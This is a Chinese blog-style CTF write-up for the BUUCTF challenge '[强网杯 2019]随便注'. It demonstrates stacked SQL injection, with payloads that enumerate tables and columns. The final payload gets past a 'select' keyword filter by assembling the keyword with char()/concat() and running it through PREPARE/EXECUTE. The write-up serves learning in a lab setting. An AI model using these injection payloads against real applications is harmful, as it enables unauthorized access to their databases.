BUUCT日记--[强网杯 2019]随便注

输入

1' union select database()#

会发现被过滤了select、where等关键字
但是“;”没有被过滤,尝试用堆叠注入
堆叠注入,简单来说就是在表单内用分号隔开,形成一行执行多个语句的效果
输入

1';show tables;#

在这里插入图片描述
输入

1';show columns from `1919810931114514`;#

在这里插入图片描述
发现flag字段,但是怎么绕过select的过滤呢
可以用内置的char()函数,再和concat()函数组合使用

concat(char(115,101,108,101,99,116)," * from `1919810931114514`")

但是会发现这样还是无法执行
所以用sql预处理的方式


当执行sql时有这么一种情况,每次执行语句时只有个别的值不同(select中的where子句,update中的set子句)
如果每次因为这么几个值不同而重新执行整个语句,不仅效率低,而且繁琐
所以有种方法,用一个占位符替代这些值的位置,然后直接给这些占位符赋值,再执行语句
例如:计算直角三角形第三边

mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> SET @a = 3;
Query OK, 0 rows affected (0.00 sec)

mysql> SET @b = 4;                                                   
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
|          5 |
+------------+
1 row in set (0.00 sec)

mysql> DEALLOCATE PREPARE stmt1;                                     
Query OK, 0 rows affected (0.00 sec)

现在语句可以执行了,我们构造payload

';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

注意,1919810931114514这个表要用波浪号健的那个顿号引起来才能提交显示结果,我也不知道为什么。。。所以最后不钻牛角尖了,当作数据库的一个知识好了


如果还有不懂的地方可以关注我的公众号“沉淀Hack”,发消息向我留言,每天会更新大量干货教程,快扫下面的二维码吧
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值